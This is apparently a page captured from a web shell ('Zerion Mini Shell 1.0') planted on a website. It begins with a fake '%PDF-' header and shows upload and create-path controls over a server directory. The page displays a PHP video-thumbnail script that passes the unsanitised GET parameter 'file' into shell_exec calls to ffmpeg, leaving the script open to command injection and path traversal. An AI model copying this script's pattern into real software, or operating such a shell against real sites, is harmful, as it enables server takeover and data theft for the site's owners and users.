%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/video.varak.net/
Upload File :
Create Path :
Current File : /www/varak.net/video.varak.net/screen.php

<?php
function generateThumbnail($inFile, $outImg)
{
	$output = shell_exec("/usr/bin/ffmpeg -i \"{$inFile}\" 2>&1");
	preg_match('/Duration: ([0-9]{2}):([0-9]{2}):([0-9]{2})/', $output, $matches);
	$time = str_replace("Duration: ", "", $matches[0]);
	$time_breakdown = explode(":", $time);
	$total_seconds = round(($time_breakdown[0]*60*60) + ($time_breakdown[1]*60) + $time_breakdown[2]);
	//shell_exec("/usr/bin/ffmpeg -y  -i {$path} -f mjpeg -vframes 1 -ss " . ($total_seconds / 2) . " -s {$w}x{$h} {$output_filename}";
	shell_exec("/usr/bin/ffmpeg -ss " . floor($total_seconds / 3.78) . " -i \"$inFile\" -vframes 1 -q:v 10 $outImg");
}

$file = __DIR__ . "/videos" . $_GET['file'];
$hash = sha1($_GET['file']);
$img = __DIR__ . "/screens/" . $hash . ".jpg";


if(!file_exists($img))
{
    header("Content-Type: image/jpeg");
	// Generate thumbnail
	generateThumbnail($file, $img);
}

$f = fopen($img, "r");
fpassthru($f);
fclose($f);

Zerion Mini Shell 1.0